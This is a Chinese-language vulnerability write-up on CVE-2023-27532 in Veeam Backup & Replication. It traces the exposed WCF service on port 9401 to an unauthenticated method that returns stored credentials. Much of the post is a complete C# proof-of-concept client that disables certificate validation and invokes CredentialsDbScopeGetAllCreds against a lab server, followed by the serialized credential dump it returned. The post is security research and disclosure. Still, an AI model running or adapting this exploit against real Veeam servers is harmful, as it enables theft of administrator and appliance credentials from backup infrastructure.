CVE-2023-27532 Veeam Backup & Replication leaked credentials

系列 - Veeam
警告
本文最后更新于 2023-03-17,文中内容可能已过时。

# download

https://download2.veeam.com/VBR/v11/VeeamBackup&Replication_11.0.1.1261_20211123.iso

# install

见之前文章 https://y4er.com/posts/cve-2022-26500-veeam-backup-replication-rce/

# 分析

9401端口对应Veeam.Backup.Service.exe

典型的dotnet服务程序,其OnStart创建服务

image.png

CVbServiceImpl构造函数中创建ssl服务

image.png

创建ssl证书,并且绑定在BackupServerSslPort 9401端口上

image.png

CRemoteInvokeServiceHolder.CreateService(SOptions.Instance.BackupServerSslPort, mngrs)创建了一个CRemoteInvokeServiceHolder对象

其构造函数将服务绑定在NetTcpBinding上,uri是net.tcp://172.16.16.153:9401/,对应的处理类为CVbRestoreServiceStub

image.png

配置文件中可见详细的binding配置 C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Service.exe.config

image.png

CVbRestoreServiceStub类中可以用.net remoting wcf的形式调用

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
NetTcpBinding binding = new NetTcpBinding();
NetTcpSecurity netTcpSecurity = new NetTcpSecurity();
netTcpSecurity.Mode = SecurityMode.Transport;
TcpTransportSecurity tcpTransportSecurity = new TcpTransportSecurity();
tcpTransportSecurity.ClientCredentialType = TcpClientCredentialType.None;
netTcpSecurity.Transport = tcpTransportSecurity;
binding.Security = netTcpSecurity;
binding.Name = "NetTcpBinding";
Uri uri = new Uri("net.tcp://172.16.16.153:9401/");
EndpointAddress endpoint = new EndpointAddress(uri, EndpointIdentity.CreateDnsIdentity("Veeam Backup Server Certificate"));
ChannelFactory<IRemoteInvokeService> myChannelFactory = new ChannelFactory<IRemoteInvokeService>(binding, endpoint);
X509ServiceCertificateAuthentication x509ServiceCertificateAuthentication = new X509ServiceCertificateAuthentication();
x509ServiceCertificateAuthentication.CertificateValidationMode = X509CertificateValidationMode.None;
myChannelFactory.Credentials.ServiceCertificate.SslCertificateAuthentication = x509ServiceCertificateAuthentication;
IRemoteInvokeService cVbRestoreServiceStub = myChannelFactory.CreateChannel(endpoint);

通过调用cVbRestoreServiceStub对象下的函数即可。该对象有一个invoke函数

image.png

在ProcessCommand中做函数请求分发

image.png

这个功能点太多了,别说泄露凭据,在这出现RCE我都不觉得奇怪。我在这放出来泄露凭据的点吧。

在ExecuteDatabaseManagerCommand中有一个CredentialsDbScopeGetAllCreds的case调用ExecuteCredentialsDbScopeGetAllCreds,顾名思义是拿所有的Creds。

image.png

最终读取凭据并返回

image.png

debug调试看到确实如此

image.png

写代码看看

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
using System;
using System.IdentityModel.Selectors;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
using System.Security.Cryptography.X509Certificates;
using System.ServiceModel;
using System.ServiceModel.Security;
using System.Xml;
using Veeam.Backup.Interaction.MountService;

namespace ConsoleApp4
{
    internal class Program
    {
        static void Main(string[] args)
        {
            NetTcpBinding binding = new NetTcpBinding();
            NetTcpSecurity netTcpSecurity = new NetTcpSecurity();
            netTcpSecurity.Mode = SecurityMode.Transport;
            TcpTransportSecurity tcpTransportSecurity = new TcpTransportSecurity();
            tcpTransportSecurity.ClientCredentialType = TcpClientCredentialType.None;
            netTcpSecurity.Transport = tcpTransportSecurity;
            binding.Security = netTcpSecurity;
            binding.Name = "NetTcpBinding_IRemoteInvokeService";
            Uri uri = new Uri("net.tcp://172.16.16.153:9401/");
            EndpointAddress endpoint = new EndpointAddress(uri, EndpointIdentity.CreateDnsIdentity("Veeam Backup Server Certificate"));
            ChannelFactory<IRemoteInvokeService> myChannelFactory = new ChannelFactory<IRemoteInvokeService>(binding, endpoint);
            X509ServiceCertificateAuthentication x509ServiceCertificateAuthentication = new X509ServiceCertificateAuthentication();
            x509ServiceCertificateAuthentication.CertificateValidationMode = X509CertificateValidationMode.None;
            myChannelFactory.Credentials.ServiceCertificate.SslCertificateAuthentication = x509ServiceCertificateAuthentication;
            IRemoteInvokeService cVbRestoreServiceStub = myChannelFactory.CreateChannel(endpoint);
            Guid guid = Guid.NewGuid();

            MemoryStream memoryStream = new MemoryStream();
            BinaryFormatter binaryFormatter = new BinaryFormatter();
            binaryFormatter.Serialize(memoryStream, true);
            string base64 = Convert.ToBase64String(memoryStream.ToArray());
            Console.WriteLine(base64);

            string xml = String.Format("""
                <RemoteInvokeSpec ContextSessionId="{0}" Scope="Service" Method="CredentialsDbScopeGetAllCreds">
                <Params>
                <Param ParamName="includeHidden" ParamValue="{1}" ParamType="System.String"></Param>
                </Params>
                </RemoteInvokeSpec>
                """, guid.ToString(), base64);

            string v = cVbRestoreServiceStub.Invoke(ERemoteInvokeScope.DatabaseManager, ERemoteInvokeMethod.CredentialsDbScopeGetAllCreds, xml);
            Console.WriteLine(v);



            //xml = String.Format("""
            //    <RemoteInvokeSpec ContextSessionId="{0}">
            //    <DbExecSqlCommandRemoteInvokeSpec>
            //    <SqlCommand>GetAllCreds</SqlCommand>
            //    </DbExecSqlCommandRemoteInvokeSpec>
            //    </RemoteInvokeSpec>
            //    """, guid.ToString(), base64);
            //string v1 = cVbRestoreServiceStub.Invoke(ERemoteInvokeScope.DatabaseAccessor, ERemoteInvokeMethod.ExecSqlCommand, xml);
            //Console.WriteLine(v1);
            Console.ReadKey();
        }
    }
}

最终返回的结果是序列化之后的xml

1
<?xml version="1.0"?><RemoteInvokeRetVal><Params><Param ParamName="retVal" ParamType="System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" ParamValue="AAEAAAD/////AQAAAAAAAAAMAgAAAFZWZWVhbS5CYWNrdXAuTW9kZWwsIFZlcnNpb249MTEuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49YmZkNjg0ZGUyMjc2NzgzYQQBAAAAogFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1ZlZWFtLkJhY2t1cC5Nb2RlbC5DRGJDcmVkZW50aWFsc0luZm8sIFZlZWFtLkJhY2t1cC5Nb2RlbCwgVmVyc2lvbj0xMS4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iZmQ2ODRkZTIyNzY3ODNhXV0DAAAABl9pdGVtcwVfc2l6ZQhfdmVyc2lvbgQAACdWZWVhbS5CYWNrdXAuTW9kZWwuQ0RiQ3JlZGVudGlhbHNJbmZvW10CAAAACAgJAwAAAAQAAAAEAAAABwMAAAAAAQAAAAQAAAAEJVZlZWFtLkJhY2t1cC5Nb2RlbC5DRGJDcmVkZW50aWFsc0luZm8CAAAACQQAAAAJBQAAAAkGAAAACQcAAAAMCAAAAFdWZWVhbS5CYWNrdXAuQ29tbW9uLCBWZXJzaW9uPTExLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWJmZDY4NGRlMjI3Njc4M2EFBAAAACVWZWVhbS5CYWNrdXAuTW9kZWwuQ0RiQ3JlZGVudGlhbHNJbmZvBQAAABg8VmVyc2lvbj5rX19CYWNraW5nRmllbGQTPElkPmtfX0JhY2tpbmdGaWVsZBQ8VGFnPmtfX0JhY2tpbmdGaWVsZBg8VmlzaWJsZT5rX19CYWNraW5nRmllbGQcPENyZWRlbnRpYWxzPmtfX0JhY2tpbmdGaWVsZAADBAAECQtTeXN0ZW0uR3VpZCBWZWVhbS5CYWNrdXAuTW9kZWwuQ1Zick9iamVjdFRhZwIAAAABIFZlZWFtLkJhY2t1cC5Db21tb24uQ0NyZWRlbnRpYWxzCAAAAAIAAAArAAAAAAAAAAT3////C1N5c3RlbS5HdWlkCwAAAAJfYQJfYgJfYwJfZAJfZQJfZgJfZwJfaAJfaQJfagJfawAAAAAAAAAAAAAACAcHAgICAgICAgIDWydwBejhSZU1GGfGI3HiBfb///8gVmVlYW0uQmFja3VwLk1vZGVsLkNWYnJPYmplY3RUYWcBAAAAB190YWdTdHIBAgAAAAYLAAAAJDcwMjc1QjAzLUU4MDUtNDlFMS05NTM1LTE4NjdDNjIzNzFFMgEJDAAAAAEFAAAABAAAAFQAAAAAAAAAAfP////3////UK/rtWMaSEyDn1+KVFJSCwHy////9v///wYPAAAAJEI1RUJBRjUwLTFBNjMtNEM0OC04MzlGLTVGOEE1NDUyNTIwQgEJEAAAAAEGAAAABAAAAF0AAAAAAAAAAe/////3////0t55466Nmku3fX7ZnoxxUgHu////9v///wYTAAAAJEUzNzlERUQyLThEQUUtNEI5QS1CNzdELTdFRDk5RThDNzE1MgEJFAAAAAEHAAAABAAAAFMAAAAAAAAAAev////3////0UEA/WhKvUqu/rK/Art8qQHq////9v///wYXAAAAJEZEMDA0MUQxLTRBNjgtNEFCRC1BRUZFLUIyQkYwMkJCN0NBOQEJGAAAAAUMAAAAIFZlZWFtLkJhY2t1cC5Db21tb24uQ0NyZWRlbnRpYWxzBwAAAAhVc2VyTmFtZQhQYXNzd29yZA5Jc0xvY2FsUHJvdGVjdAtDdXJyZW50VXNlcgtEZXNjcmlwdGlvbhVDaGFuZ2VUaW1lVXRjSGFzVmFsdWUNQ2hhbmdlVGltZVV0YwEBAAABAAABAQENCAAAAAYZAAAABHJvb3QGGgAAAAABAAYbAAAAHEhlbHBlciBhcHBsaWFuY2UgY3JlZGVudGlhbHMB4MhQUIMm2wgBEAAAAAwAAAAGHAAAAARyb290CRoAAAABAAYeAAAAM1RlbmFudC1zaWRlIG5ldHdvcmsgZXh0ZW5zaW9uIGFwcGxpYW5jZSBjcmVkZW50aWFscwGwLdRCgybbCAEUAAAADAAAAAYfAAAABHJvb3QJGgAAAAEABiEAAAAiQXp1cmUgaGVscGVyIGFwcGxpYW5jZSBjcmVkZW50aWFscwHwIkZGgybbCAEYAAAADAAAAAYiAAAABHJvb3QJGgAAAAEABiQAAAA1UHJvdmlkZXItc2lkZSBuZXR3b3JrIGV4dGVuc2lvbiBhcHBsaWFuY2UgY3JlZGVudGlhbHMBsC3UQoMm2wgL" /></Params></RemoteInvokeRetVal>

懒得处理了,你们自己解吧。

https://twitter.com/codewhitesec/status/1633948476353519616?s=20 这个推文中,他拿到的密码有一个administrator,应该是某些参数或者我安装配置的问题,不深究了。

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。